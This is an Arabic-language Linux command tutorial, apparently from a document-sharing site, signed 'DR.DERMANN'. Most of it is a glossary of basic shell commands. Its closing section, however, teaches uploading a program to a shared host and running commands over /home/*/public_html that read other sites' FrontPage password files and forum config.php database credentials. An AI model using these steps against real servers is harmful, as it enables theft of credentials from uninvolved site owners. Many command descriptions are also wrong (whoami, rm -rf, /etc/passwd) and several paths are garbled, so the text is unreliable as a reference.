You are on page 1of 33

‫بسم ال الرحمن الرحيم‬

‫سوف نتعلم بعض اوامر لينكس الهامة وشرح لهذه الوامر‬

‫‪DR.DERMANN‬‬
‫‪DRDERMANN@HOTMAIL.COM‬‬

‫واهم أوامر‬

‫‪cat .1‬‬

‫‪cd .2‬‬

‫‪cp .3‬‬

‫‪find .4‬‬

‫‪grep .5‬‬

‫‪rm .6‬‬

‫‪tar .7‬‬

‫‪vi .8‬‬

‫‪ls .9‬‬

‫‪more .10‬‬

‫‪DR.DERMANN‬‬
‫نبداء بشرح الوامر‬

‫(‪ ).‬المر نقطه ‪:‬‬

‫تنفيذ جميع الوامر الموجودة بملف‬

‫مثال لكتابة المر (‪)home .‬‬

‫(&)‬

‫المر & إذا قمت بكتابة المر بعد يقوم بتشغيل البرنامج أو تنفيذ المر في الخلفية ‪background‬‬

‫مثال عليه برنامج جون ‪&john‬‬

‫( ‪)adduser‬‬

‫طبعا لزم تكون روت ( ‪ )root‬واضح من اسم المر لضافة مستخدمين جدد‬

‫مثال ‪adduser DRDERMANN :‬‬

‫( ‪)alias‬‬

‫يستخدم المر لنشاء اختصارات للوامر‬

‫(ما فهمت المر إلى ألن ول عطيتكم مثال عليه )‬

‫( ‪)apropos‬‬

‫يقوم بالبحث بصفحات ‪ man‬وما يقوم به هو البحث عن نص معين أو كلمه معينه مثل البحث بملف‬
‫بالورد فبمايكروسوفت اوفيس‬

‫‪DR.DERMANN‬‬
‫(( ‪banner‬‬

‫يقوم بإظهار لفتة نصيه‬

‫( ‪)bg‬‬

‫يستخدم المر لتشغيل عمليه قمت بتعطيلها بالخلفية ‪.‬‬

‫مثال‪:‬‬

‫شغل برنامج جون بالخلفية‬

‫‪&John‬‬

‫البرنامج شغال معك بالخلفية الحين‬

‫تعطله أو تعلقه موقت طبعا تستخدم المر ‪bg‬‬

‫تعليق البرنامج إلي بالخلفية‬

‫‪Ctrl+Z‬‬

‫والوقت أيلي تبغي تشغله فيه بالخلفية اكتب المر ‪bg‬‬

‫( ‪)bind‬‬

‫ما توقع أحد يحتاجه يقوم المر بتغير سلوك المفاتيح‬

‫‪DR.DERMANN‬‬
‫( ‪)cat‬‬

‫يقوم المر بعرض محتويات ملف معين‬

‫مثال واحد أرسلك سير فر تقدر تعرف محتويات السير فر وبيناته بالمر‬

‫طريقة كتابته ‪:‬‬

‫‪Cat filename‬‬

‫( ‪)cd‬‬

‫اختصار عبارة ‪ change directory‬يعني تغير الدليل‬

‫باختصار النتقال بين الملفات‬

‫‪ Cd file name‬بغيرك لملف ألي تبغا على طول‬

‫‪ ..Cd .. or cd‬ترجعك للملف الي قبله‬

‫‪ ~Cd or cd‬ترجعك للملف الرئيسي ‪home‬‬

‫( ‪)chgrp‬‬

‫يستخدم لتغير مجموعه بصلحية الملفات‬

‫‪Chgrp new group file‬‬

‫( ‪) chmod‬‬

‫يستخدم المر لتغير الصلحيات وهناك طريقتين للتغير أما حرفي أو رقمي‬

‫بس في شرح بسيط لستخدام المر‬

‫‪DR.DERMANN‬‬
‫لمنح المستخدم و المجموعة خاصية قراءة وتنفيذ مثل نكتب المر كذا‬

‫‪Chmod ug+rx user‬‬

‫للغاء الخاصية‬

‫‪Chmod ug- rx user‬‬

‫ل حظو الفرق بالمر (‪) - \ +‬‬

‫طبعا هذا اهم شي بالمر‬

‫( ‪) chown‬‬

‫يستخدم المر لتغير معرف المستخدم‬

‫طريقة آلم‬

‫‪Chown user filename‬‬

‫طبعا ما فهمت المر مضبوط أنا بس أيلي فهمته انه يخلي اليوزر أيلي تحدد اسمه بالملف قادر على‬
‫انه يتصفح ملفاتك‬

‫( ‪)cp‬‬

‫اختصار كلمة ‪ copy‬يسمح المر بنسخ الغلاض أو الملفات‬

‫( ‪)dd‬‬

‫نسخ الملفات وتحويلها من صيغه ألي أخرى‬

‫‪DR.DERMANN‬‬
‫( ‪) env‬‬

‫عرض المتحولت وينتج عن تنفيذه مودين واحد يمين والثاني يسار‬

‫اسم المتحول على اليسار والقيمه حقته على اليمين‬

‫( ‪)fc‬‬

‫تحرير ملف تاريخ سطر الوامر ‪history file‬‬

‫(‪)fg‬‬

‫يسمح بتشغيل العمليات المعلقة مثل المر ‪bg‬‬

‫بس تقدر تستخدم المر في الخلفية أو في الواجهة‬

‫( ‪) file‬‬

‫‘طباعة نوع الملفات‬

‫( ‪)find‬‬

‫طبعا واضح من اسم المر ول يحتاج له شرح‬

‫طريقة تنفيذه كذا‬

‫‪Find .-name *.c –print‬‬

‫ببحث عن ملفات المكتوبة بلغة السي‬

‫( ‪) ftp‬‬

‫واضح أيضا أستخدم الف تي بي مثل الويندوز‬

‫‪DR.DERMANN‬‬
‫( ‪) grep‬‬

‫يقوم بالبحث عن نص معين في الملف ألي تحدده‬

‫‪Grep textfile‬‬

‫( ‪)gruff‬‬

‫المر هذا عبارة عن واجهه لتنسيق الوثاق أو الملفات‬

‫( ‪)gzip‬‬

‫برنامج ضغط‬

‫تنفيذه ‪gzip filename‬‬

‫( ‪)gunzip‬‬

‫فك ضغط ملفات ‪gzip‬‬

‫تنفيذه ‪gunzip‬‬

‫( ‪)halt‬‬

‫يطلب المر من الكير نيل إيقاف عمل النظام طبعا ألي يستخدمه المستخدم الرووت فقط‬

‫( ‪) hostname‬‬

‫اسم المضيف او تعين اسم لمضيف الجهاز‬

‫( ‪)kill‬‬

‫انهاء عمل برنامج‬


‫طريقة تنفيذه‬

‫‪Kill -9 un‬‬
‫‪ Un‬رقم العملية‬

‫‪DR.DERMANN‬‬
‫( ‪) less‬‬

‫مستعرض صفحات‬

‫( ‪)locate‬‬

‫‪Locate filename‬‬

‫‪Login‬‬

‫لدخول النظام‬

‫‪Logout‬‬

‫يستخدم لخروج المستخدم الحالي‬

‫‪Killall‬‬

‫لنهاء مل جميع العمليات‬

‫( ‪) ps‬‬

‫يعطيك رقم العملية إذا كنت بتتخدم المر ‪kill‬‬

‫وتلغي عمليه وحده‬

‫( ‪) lpc‬‬

‫للتحكم بعمل نظام الطابعات‬

‫‪DR.DERMANN‬‬
‫( ‪) lpd‬‬

‫ل استقبال طلبات طباعة الملفات‬

‫( ‪)lpq‬‬

‫يقوم المر بتفحص منطقة التحضير للطباعة‬

‫( ‪}lpr‬‬

‫يقوم المر بالتحضير للطباعة‬

‫( ‪)ls‬‬

‫يعرض المر قائمة بمحتويات ملف معين‬

‫( ‪)make‬‬

‫تحديد أجزاء البرامج الكبيرة وتستخدمه إذا كنت تبغي تركب برنامج‬

‫‪Make‬‬

‫‪Su‬‬

‫‪Make install‬‬

‫( ‪) man‬‬

‫عرض ملفات التشغيل أو الهلب‬

‫‪DR.DERMANN‬‬
‫( ‪) mesg‬‬

‫للتحكم بصلحيات الكتابة الممنوحة لباقي المستخدمين‬

‫( ‪)mkdir‬‬

‫إنشاء ملف‬

‫( ‪)mkfs‬‬

‫لبناء نظام ملفات جديد على الهارد ديسك‬

‫( ‪)mkswaop‬‬

‫إعادة منطقة الخاصة بلينكس‬

‫( ‪) more‬‬

‫مرشح الستعراض صفحات النصوص‬

‫( ‪) mount‬‬

‫لربط نظام ملفات معين بلينكس مثل الويندوز‬

‫( ‪) mv‬‬

‫لنقل ملف معين من موقع ألي أخر‬

‫‪DR.DERMANN‬‬
‫( ‪) netstat‬‬

‫يعرض اتصالت الشبكة‬

‫( ‪) passwd‬‬

‫لتغير كلمة المرور الحالية‬

‫( ‪) pwd‬‬

‫عرض الملف ألي أنت متواجد فيه‬

‫( ‪) rm‬‬

‫حذف ملف‬

‫‪Rm file name‬‬

‫( ‪)rmdir‬‬

‫حذف ملف‬

‫‪DR.DERMANN‬‬
‫( ‪) set‬‬

‫تغير المتحولت بشكل مؤقت‬

‫( ‪) shutdown‬‬

‫إيقاف عمل النظام‬

‫‪Shutdown now‬‬

‫( ‪) su‬‬

‫يطلب منك باسورد لتغير حالتك من مستخدم عادي الى روت‬

‫( ‪)swapoff‬‬

‫يوقف التبادل مع أي جهاز أخر‬

‫( ‪) swapon‬‬

‫عكس لمر السابق‬

‫‪DR.DERMANN‬‬
‫( ‪) tail‬‬

‫يطبع المر أخر عشر اسطر من ملف معين‬

‫( ‪) talk‬‬

‫لجراء حوار مع مستخدم أخر‬

‫( ‪) tar‬‬

‫برنامج لرشفة الملفات‬

‫( ‪) telnet‬‬

‫التصال بجهاز أخر‬

‫( ‪) top‬‬

‫العمليات التي يجرى تشغيلها على الجهاز‬

‫‪Umount‬‬

‫ل إلغاء تركيب أل نظمه‬

‫‪DR.DERMANN‬‬
‫( ‪)unalias‬‬

‫إلغاء اللقاب‬

‫( ‪) unzip‬‬

‫يقوم بعرض الملفات المضغوطة في ملف مضغوط‬

‫( ‪) userdel‬‬

‫حذف مستخدم‬

‫( ‪) wall‬‬

‫عرض محتويات الدخل النظامي وعرض أعمالهم‬

‫( ‪) who‬‬

‫عرض المتواجدون بالنظام ونوع دخولهم يعني بال اف تي بي أو الشل‬

‫‪DR.DERMANN‬‬
‫( ‪)write‬‬

‫إرسال رسالة ألي شاشة المستخدم الخر‬

‫( ‪) xhost‬‬

‫يقدم وسيله للتحكم بالبرامج ألي تتوصل بالجهاز‬

‫نوع البرنامج ‪+ Xhost‬‬

‫أو‬

‫نوع النظام ‪-Xhost‬‬

‫( ‪)xmkmf‬‬

‫ويستخدم لنشاء ملفات ‪lmakefile‬‬

‫( ‪) xset‬‬

‫لتعيين بعض الخيارات الخاصة ‪x window‬‬

‫( ‪) zip‬‬

‫عرض محتويات ملف أرشيف وإضافة الملفات أليه‬

‫( ‪) gcc‬‬

‫لعمل كومبايل لملفات السي‬

‫‪DR.DERMANN‬‬
‫( ‪) wget‬‬

‫جلب الملفات‬

‫شرح اخر لوامر الشل‬

‫المر‬

‫وظيفة المر‬

‫‪ls‬‬

‫استعراض الملفات والمجلدات‬

‫‪Ls -la‬‬

‫استعراض جميع الملفات على المجلد الذي انته بداخله من صلحيات‬

‫المجلد ووقت انشاء الملفات ‪ +‬اظهار الملفات المخفيه‬

‫‪mkdir‬‬

‫‪DR.DERMANN‬‬
‫انشاء مجلد جديد‬

‫‪man‬‬

‫أمر المساعدة‬

‫‪help‬‬

‫ايضاا امر مساعده‬

‫‪edit‬‬

‫أمر التعديل‬

‫‪who‬‬

‫أمر المتصلين على السيرفر‬

‫‪cd‬‬

‫امر الدخول الى المجلدات‬

‫‪rm‬‬

‫امر الحذف‬

‫‪rm -rf‬‬

‫‪DR.DERMANN‬‬
‫مسح مجلد ويلي فيه‬

‫‪qzip‬‬

‫أمر ضغط الملفات‬

‫‪unzip‬‬

‫أمر فك الضغط‬

‫‪tar -czvf‬‬

‫امر ضغط اخر‬

‫‪tar -zxvf‬‬

‫فك ضغط المر يلي قبله‬

‫‪uname -a‬‬

‫معرفه اصدار الكيرنال للسيرفر ونوعيه النظام‬

‫‪wget‬‬

‫أمر سحب الملفات للموقع‬

‫‪DR.DERMANN‬‬
‫‪curl‬‬

‫أمر السحب الثاني‬

‫*‬

‫ترمز النجمه للكل‬

‫‪pwd‬‬

‫تحديد مكانك على السيرفر‬

‫‪chmod‬‬

‫اعطاء التصاريح‬

‫;‬

‫ربط الوامر‬

‫‪/.‬‬

‫امر تشغيل أي ملف في بيئه لينكس‬

‫‪logout‬‬

‫لعلن الخروج من النظام‬

‫‪DR.DERMANN‬‬
‫‪su‬‬

‫الدخول الى الرووت وهوه اختصار ‪SuperUser‬‬

‫&‬

‫امر عمل البرنامج المحدد في الخلفيه‬

‫المر‬

‫وظيفه المر‬

‫‪adduser‬‬

‫ستعمل هذا المر لنشا ء حساب مستخدم جديد‬

‫‪cp‬‬

‫نسخ ملفات‬

‫‪mv‬‬

‫اعاده تسميه‬

‫‪mv‬‬

‫‪DR.DERMANN‬‬
‫تستخدم ايضاا بنقل الملفات مثلا‬

‫‪mv filename.tar.gz /home / user / p u blic_html‬‬

‫‪ps -aux‬‬

‫تشيك البروسيسور‬

‫‪touch‬‬

‫لنشاء نصوص‬

‫‪find‬‬

‫للبحث عن ملفات‬

‫‪locate‬‬

‫امر ايضاا للبخث وهوه اسرع من المر السابق‬

‫‪gcc‬‬

‫اداه لترجمه النصوص البرمجيه وتستخدم في الكومبايل للثغرات يلي مكتوبه بلغه السي‬

‫‪++G‬‬

‫‪DR.DERMANN‬‬
‫اداه اخرى لترجمه النصوص المكتوبه بلغه السي بلس بلس‬

‫‪whoami‬‬

‫لعرض المتصلين بالسيرفر‬

‫‪crypt‬‬

‫لتشفير و فك تشفير الملفات‬

‫‪cu‬‬

‫لطلب تريمنال يونكس اخر‬

‫‪echo‬‬

‫امر طباعه‬

‫‪grep‬‬

‫يستخدم للبحث عن شي داخل ملف‬

‫‪kill‬‬

‫‪DR.DERMANN‬‬
‫لنهاء عمليه‬

‫‪pstat‬‬

‫لعرض حالة النظام‬

‫((اوامر اخرى عامه))‬

‫‪cat‬‬

‫لعرض محتوى اكثر من ملف مع بعض‬

‫‪cd‬‬

‫لتغير الدليل الذي انت عليه‬

‫‪chmod‬‬

‫لتغير تصريح دخلول ملف معين‬

‫‪chown‬‬

‫لتغير مالك ملف معين‬

‫‪clear‬‬

‫لمسح كل الذي على الشاشة‬

‫‪DR.DERMANN‬‬
‫‪cmp‬‬

‫لمقارنة ملفين‬

‫‪cp‬‬

‫لنسخ الملفات‬

‫‪crypt‬‬

‫لتشفير و فك تشفير الملفات‬

‫‪csplit‬‬

‫لتقسيم الملف الى عدة ملفات‬

‫‪file‬‬

‫للتقرير عن نوع ملف‬

‫‪find‬‬

‫‪DR.DERMANN‬‬
‫للبحث عن ملفات‬

‫‪finger‬‬

‫تقرير عن مستخدم‬

‫‪grep‬‬

‫يستخدم للبحث عن شئ داخل ملف‬

‫‪kill‬‬

‫وهنا اشرح لكم اهم اوامر الشيل‬

‫‪cat /home /*/public_html/_vti_pvt/service.pwd‬‬

‫لجلب باسوردات المشفره ويوزر نيم‬

‫‪cat /home /*/public_html/_vti_pvt/access.cnf‬‬

‫‪DR.DERMANN‬‬
‫والثاني يوزر نيم والموقع‬

‫‪ls /var/named‬‬

‫وهو لستعراض المواقع علي الموجوده علي السيرفر‬

‫خاص لتشييك على البروسيسور‬

‫‪ps -aux‬‬

‫تعديل ملف‪.‬‬

‫مثل لتعديل الملف ضع المر‬

‫‪pico filename‬‬

‫‪ : filenamr‬اسم الملف المراد تعديله‬

‫سوف يفتح محرر النصوص‬

‫حرر ما ترغب به وأضغط‬

‫‪ctrl x‬‬

‫ثم أختر ‪ yes‬للحفظ ‪ no‬لعدم الحفظ‬

‫‪DR.DERMANN‬‬
‫سحب ملف‬

wget http:/ /www.domain.com /filename.zip

‫فتح مجلد‬

cd folder name

‫ ) اسم الملف‬folder name (

‫سحب مجلد‬

rm -rf folder

‫لنسخ ملفات‬

/cp -r /home / user1/p ublic_html/filename /home / user2/ p ublic_html

‫لنقل الملفات‬

mv filename.tar.gz /home / user / p u blic_html

‫لعمل باك من قاعدة‬

DR.DERMANN
mysqldump -u root -p --all-databases > alrudbs207.sql

‫ملكية الشخص‬

chown -R user /home / user

‫لستعراض ما بداخل المجلد‬

ls

‫لضغط‬

tar -czvf filename.tar.gz filename

‫أعطاء تصريح المرغوب به‬

chmod 644 file.tar.gz

‫لخراج المواقع اللى على السيرفر‬

cat /etc/httpd /conf /httpd.conf

‫المر‬

cat /home /*/public_html/_vti_pvt/service.pwd

‫أمر جلب باسوردات المواقع التي تستخدم الفرونت بيج‬

‫المر‬

cat /home /*/public_html/_vti_pvt/access.cnf

DR.DERMANN
‫أمر معرفة أسامي المواقع التي تستخدم الفرونت بيج‬

‫المر‬

‫‪cat /home /*/public_html/*/admin /config.php‬‬

‫‪cat /home /*/public_html/*/admincp /config.php‬‬

‫أمر عرض ملفات الــ ‪ config.php‬للبرامج المثبته على المواقع مثل‬

‫المنتديات والمجلت وغيرها ممن تستخدم ملفات الــ ‪config‬‬

‫أمر‬

‫‪cat /etc/domainalias‬‬

‫عرض المواقع مع أسامي المستخدمين‬

‫أمر‬

‫‪find / -name config.php‬‬

‫البحث عن جميع الملفات التي إسمها ‪config.php‬‬

‫وستطيع البحث في هذا المر عن أي ملف تريد‬

‫أمر‬

‫‪DR.DERMANN‬‬
‫‪cat /etc/passwd‬‬

‫يظهر جميع باسوردات المواقع التي على السيرفر‬

‫وإذا كان اللي ظهر لك بالطريقه هذي‬

‫‪carlos:vmYQDR1pWRVLE‬‬

‫معناها ان ‪ carlos‬إسم الموقع‬

‫وإن ‪ vmYQDR1pWRVLE‬هو الباسورد المشفر‬

‫أما إن طلع لك بالطريقه هذي‬

‫‪carlos:x‬‬

‫فمعنى الــ ‪ x‬ان الباسورد مخفي وما تقدر تشوفه‬

‫الن شرح للوامر التي ذكرناها‬

‫‪cat /home /*/public_html/*/admin /config.php‬‬

‫‪ cat‬أمر عرض ملفات دفعه واحده‬

‫‪ home‬المجلد الذي يوضع فيه المواقع‬

‫* مكان إسم الموقع واستبدلناه بالنجمه حتى يظهر لنا الجميع‬

‫‪ public_html‬المجلد الرئيسي الذي يوضع فيه ملفات المواقع‬

‫* إسم المجلد الذي يوضع فيه البرامج مثل المنتديات والمجلدات وغيرها‬

‫‪DR.DERMANN‬‬
‫واستبدلناه بالنجمة حتى يظهر الجميع‬

‫‪ admin‬إسم مجلد لوحة التحكم‬

‫‪ config.php‬الملف الذي يوضع فيه بيانات قاعدة البيانات‬

‫وباقي الوامر شرحها شبيه بالشرح هذا‬

‫مع العلم أن أسامي المجلدات من الممكن أن تكون مختلفه أو أن يتم تغييرها‬

‫ايهذه الطريقة يمكنك معرفه باسوورد قاعدة بيانات المنتديات في نفس السيرفر المستضيف لموقعك‬
‫من خلل ملفات الكونفجو ما عليك الن ان تحمل هذا البرنامج تقوم برفعه على مجلد ‪public- html‬‬

‫من هنا‬

‫ثم قم بكتابة احد هذه السطر في خانه الوامر‪.‬‬

‫‪cat /home /*/public_html/vb/ad min /config.php‬‬

‫‪cat /home /*/public_html/phpbb /c onfig.php‬‬

‫‪cat /home /*/public_html/forum / config.php‬‬

‫‪---------------------------------------------‬‬

‫وايضا يمكنك التعديل عليها لتناسب مجلدات المنتديات حيث * تعني جميع ملفات هذا السيرفر‬

‫‪DR.DERMANN‬‬
‫التصريحات‬

400

--------r

444

--r--r--r

600

-------rw

644

--rw- r--r

664

--rw- rw- r

666

-rw- rw- rw

700

------rwx

750

---rwxr- x

755

rwxr- xr-x

777

rwxrwxrwx

DR.DERMANN
a = all

r = read

w = write

o = others

g = group

u = user

x = excute

‫ = اضافة صلحية‬+

‫ = سحب صلحية‬-

DR.DERMANN

You might also like